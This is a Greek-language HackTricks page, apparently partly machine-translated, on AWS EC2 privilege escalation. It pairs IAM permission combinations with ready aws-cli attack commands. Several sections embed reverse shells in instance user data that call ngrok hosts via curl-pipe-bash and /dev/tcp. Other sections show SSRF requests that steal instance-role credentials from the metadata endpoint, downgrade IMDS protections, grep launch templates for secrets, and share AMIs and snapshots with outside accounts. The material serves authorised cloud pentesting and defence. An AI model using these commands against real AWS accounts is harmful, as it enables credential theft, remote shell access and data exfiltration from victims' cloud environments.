AWS - EC2 Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

EC2

Για περισσότερες πληροφορίες σχετικά με το EC2 δείτε:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα instance επισυνάπτοντας ένα IAM role και στη συνέχεια να αποκτήσει πρόσβαση στο instance για να κλέψει τα IAM role credentials από το metadata endpoint.

  • Πρόσβαση μέσω SSH

Τρέξτε ένα νέο instance χρησιμοποιώντας ένα δημιουργημένο ssh key (--key-name) και στη συνέχεια ssh into it (αν θέλετε να δημιουργήσετε ένα καινούργιο ίσως χρειαστείτε την άδεια ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Πρόσβαση μέσω rev shell σε user data

Μπορείτε να τρέξετε μια νέα instance χρησιμοποιώντας user data (--user-data) που θα σας στείλει ένα rev shell. Δεν χρειάζεται να καθορίσετε security group με αυτόν τον τρόπο.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Να είστε προσεκτικοί με GuradDuty αν χρησιμοποιήσετε τα διαπιστευτήρια του IAM role εκτός του instance:

AWS - GuardDuty Enum

Πιθανός Αντίκτυπος: Άμεση privesc σε οποιοδήποτε EC2 role που είναι επισυναπτόμενο σε υπάρχοντα instance profiles.

Privesc σε ECS

Με αυτό το σύνολο δικαιωμάτων μπορείτε επίσης να δημιουργήσετε ένα EC2 instance και να το καταχωρήσετε μέσα σε ένα ECS cluster. Με αυτόν τον τρόπο, τα ECS services θα τρέχουν μέσα στο EC2 instance στο οποίο έχετε πρόσβαση και τότε μπορείτε να διεισδύσετε σε αυτές τις υπηρεσίες (docker containers) και να κλέψετε τους επισυναπτόμενους ECS roles.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Για να μάθετε πώς να αναγκάσετε υπηρεσίες ECS να τρέξουν σε αυτό το νέο EC2 instance δείτε:

AWS - ECS Privesc

Εάν δεν μπορείτε να δημιουργήσετε ένα νέο instance αλλά έχετε το δικαίωμα ecs:RegisterContainerInstance ίσως μπορέσετε να καταχωρήσετε το instance μέσα στο cluster και να εκτελέσετε την αναφερόμενη επίθεση.

Πιθανός Αντίκτυπος: Άμεσο privesc σε ECS roles συνδεδεμένα με tasks.

iam:PassRole, iam:AddRoleToInstanceProfile

Παρόμοια με το προηγούμενο σενάριο, ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε να αλλάξει το IAM role ενός παραβιασμένου instance ώστε να μπορεί να κλέψει νέες credentials.
Καθώς ένα instance profile μπορεί να έχει μόνο 1 role, αν το instance profile έχει ήδη ένα role (συνηθισμένη περίπτωση), θα χρειαστείτε επίσης iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Αν το instance profile has a role και ο attacker cannot remove it, υπάρχει μια άλλη λύση. Μπορεί να find ένα instance profile without a role ή να create a new one (iam:CreateInstanceProfile), να add το role σε αυτό το instance profile (όπως αναφέρθηκε προηγουμένως), και να associate the instance profile compromised σε compromised instance:

  • Αν το instance doesn’t have any instance profile (ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potential Impact: Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και να έχετε κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση του instance profile).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Με αυτές τις άδειες είναι δυνατή η αλλαγή του instance profile που είναι συνδεδεμένο με ένα instance, οπότε αν ο επιτιθέμενος ήδη έχει πρόσβαση σε ένα instance, θα μπορεί να υποκλέψει credentials για περισσότερα instance profile roles αλλάζοντας το συνδεδεμένο προφίλ.

  • If it has an instance profile, you can remove the instance profile (ec2:DisassociateIamInstanceProfile) and associate it
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ή αντικαταστήσετε το instance profile της συμβιβασμένης instance (ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Πιθανός Αντίκτυπος: Άμεσο privesc σε διαφορετικό EC2 role (πρέπει να έχετε παραβιάσει ένα AWS EC2 instance και να έχετε κάποια επιπλέον δικαιώματα ή συγκεκριμένη κατάσταση instance profile).

ec2:RequestSpotInstances,iam:PassRole

Ένας επιτιθέμενος με τα δικαιώματα ec2:RequestSpotInstancesκαιiam:PassRole μπορεί να ζητήσει ένα Spot Instance με ένα EC2 Role συνδεδεμένο και ένα rev shell στα user data.
Μόλις τρέξει το instance, μπορεί να κλέψει το IAM role.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Ένας επιτιθέμενος με το ec2:ModifyInstanceAttribute μπορεί να τροποποιήσει τα attributes της instance. Μεταξύ αυτών, μπορεί να αλλάξει το user data, πράγμα που σημαίνει ότι μπορεί να κάνει την instance να τρέξει αυθαίρετα δεδομένα. Αυτό μπορεί να χρησιμοποιηθεί για να αποκτήσει ένα rev shell στην EC2 instance.

Σημειώστε ότι τα attributes μπορούν να τροποποιηθούν μόνο ενώ η instance είναι σταματημένη, επομένως απαιτούνται τα permissions ec2:StopInstances και ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Πιθανές Επιπτώσεις: Άμεσο privesc σε οποιοδήποτε EC2 IAM Role που είναι συνδεδεμένο με ένα δημιουργημένο instance.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Ένας επιτιθέμενος με τα δικαιώματα ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate μπορεί να δημιουργήσει μια new Launch Template version με ένα rev shell in τα user data και any EC2 IAM Role on it, να αλλάξει την προεπιλεγμένη έκδοση, και οποιοδήποτε Autoscaler group using that Launch Template that is configured to use the latest or the default version θα re-run the instances using that template and will execute the rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Πιθανός Αντίκτυπος: Άμεσο privesc σε διαφορετικό EC2 role.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

Ένας επιτιθέμενος με τα δικαιώματα autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole μπορεί να δημιουργήσει ένα Launch Configuration με ένα IAM Role και ένα rev shell μέσα στο user data, και στη συνέχεια να δημιουργήσει ένα autoscaling group από αυτήν τη διαμόρφωση και να περιμένει το rev shell να κλέψει το IAM Role.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potential Impact: Άμεση privesc σε διαφορετικό ρόλο EC2.

!autoscaling

Το σύνολο δικαιωμάτων ec2:CreateLaunchTemplate και autoscaling:CreateAutoScalingGroup δεν αρκεί για να ανεβάσει προνόμια σε έναν IAM role επειδή για να επισυνάψετε τον ρόλο που καθορίζεται στο Launch Configuration ή στο Launch Template χρειάζεστε τα δικαιώματα iam:PassRole και ec2:RunInstances (το οποίο είναι γνωστό privesc).

ec2-instance-connect:SendSSHPublicKey

Ένας επιτιθέμενος με το δικαίωμα ec2-instance-connect:SendSSHPublicKey μπορεί να προσθέσει ένα ssh key σε έναν χρήστη και να το χρησιμοποιήσει για να αποκτήσει πρόσβαση (εάν έχει ssh πρόσβαση στο instance) ή για να ανεβάσει προνόμια.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Πιθανός Αντίκτυπος: Άμεσο privesc στις EC2 IAM roles που είναι επισυναπτόμενες σε εκτελούμενα instances.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Ένας attacker με την άδεια ec2-instance-connect:SendSerialConsoleSSHPublicKey μπορεί να προσθέσει ένα ssh key σε σειριακή σύνδεση. Εάν η σειριακή σύνδεση δεν είναι ενεργοποιημένη, ο attacker χρειάζεται την άδεια ec2:EnableSerialConsoleAccess για να την ενεργοποιήσει.

Για να συνδεθείτε στη σειριακή θύρα χρειάζεστε επίσης να γνωρίζετε το username και το password ενός user μέσα στη μηχανή.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Αυτός ο τρόπος δεν είναι τόσο χρήσιμος για privesc καθώς χρειάζεται να γνωρίζεις ένα username και password για να τον εκμεταλλευτείς.

Πιθανός Αντίκτυπος: (Πολύ δύσκολα αποδείξιμο) Άμεσο privesc στους EC2 IAM roles που είναι συνδεδεμένοι σε running instances.

describe-launch-templates,describe-launch-template-versions

Δεδομένου ότι τα launch templates έχουν versioning, ένας επιτιθέμενος με δικαιώματα ec2:describe-launch-templates και ec2:describe-launch-template-versions θα μπορούσε να εκμεταλλευτεί αυτά για να ανακαλύψει ευαίσθητες πληροφορίες, όπως credentials που υπάρχουν στο user data. Για να το πετύχει αυτό, το ακόλουθο script διατρέχει όλες τις εκδόσεις των διαθέσιμων launch templates:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

Στις παραπάνω εντολές, παρόλο που καθορίζουμε ορισμένα patterns (aws_|password|token|api), μπορείτε να χρησιμοποιήσετε διαφορετικό regex για να ψάξετε για άλλους τύπους ευαίσθητων πληροφοριών.

Αν βρούμε aws_access_key_id και aws_secret_access_key, μπορούμε να χρησιμοποιήσουμε αυτά τα credentials για να κάνουμε authentication στο AWS.

Πιθανός αντίκτυπος: Άμεση κλιμάκωση προνομίων σε IAM user(s).

Αναφορές

ec2:ModifyInstanceMetadataOptions (Υποβάθμιση του IMDS για να επιτραπεί η κλοπή διαπιστευτηρίων μέσω SSRF)

Ένας επιτιθέμενος με τη δυνατότητα να καλέσει ec2:ModifyInstanceMetadataOptions σε ένα θύμα EC2 instance μπορεί να αποδυναμώσει τις προστασίες του IMDS ενεργοποιώντας το IMDSv1 (HttpTokens=optional) και αυξάνοντας το HttpPutResponseHopLimit. Αυτό καθιστά το endpoint μεταδεδομένων του instance προσβάσιμο μέσω κοινών SSRF/proxy διαδρομών από εφαρμογές που τρέχουν στο instance. Αν ο επιτιθέμενος μπορεί να ενεργοποιήσει ένα SSRF σε τέτοια εφαρμογή, μπορεί να ανακτήσει τα instance profile credentials και να κάνει pivot με αυτά.

  • Απαιτούμενα δικαιώματα: ec2:ModifyInstanceMetadataOptions στο στοχευόμενο instance (συν η ικανότητα να φτάσει/ενεργοποιήσει ένα SSRF στο host).
  • Στοχευόμενος πόρος: Η τρέχουσα EC2 instance με συνδεδεμένο instance profile (IAM role).

Παραδείγματα εντολών:

# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Πιθανός Αντίκτυπος: Κλοπή των instance profile credentials μέσω SSRF που οδηγεί σε privilege escalation και lateral movement με τα EC2 role permissions.

ec2:ModifyInstanceMetadataOptions

Ένας επιτιθέμενος με την άδεια ec2:ModifyInstanceMetadataOptions μπορεί να αποδυναμώσει τις προστασίες του Instance Metadata Service (IMDS) — για παράδειγμα αναγκάζοντας χρήση IMDSv1 (κάνοντας τα HttpTokens μη απαιτούμενα) ή αυξάνοντας το HttpPutResponseHopLimit — διευκολύνοντας έτσι την εξαγωγή προσωρινών credentials. Η πιο σχετική διέξοδος κινδύνου είναι η αύξηση του HttpPutResponseHopLimit: αυξάνοντας αυτό το hop limit (TTL), το endpoint 169.254.169.254 παύει να περιορίζεται αυστηρά στο network namespace της VM και μπορεί να γίνει προσπελάσιμο από άλλες διεργασίες/containers, επιτρέποντας την κλοπή credentials.

aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

Ένας επιτιθέμενος με τα δικαιώματα ec2:ModifyImageAttribute και ec2:ModifySnapshotAttribute μπορεί να μοιραστεί AMIs ή snapshots με άλλους λογαριασμούς AWS (ή ακόμη και να τα κάνει δημόσια), εκθέτοντας εικόνες ή volumes που μπορεί να περιέχουν ευαίσθητα δεδομένα όπως ρυθμίσεις, credentials, certificates ή backups. Με την τροποποίηση των AMI launch permissions ή των snapshot create-volume permissions, ο επιτιθέμενος επιτρέπει σε τρίτους να launch instances ή να mount disks από αυτούς τους πόρους και να αποκτήσουν πρόσβαση στο περιεχόμενό τους.

Για να μοιραστείτε ένα AMI με άλλο λογαριασμό:

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Για να μοιραστείτε ένα EBS snapshot με άλλο λογαριασμό:

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks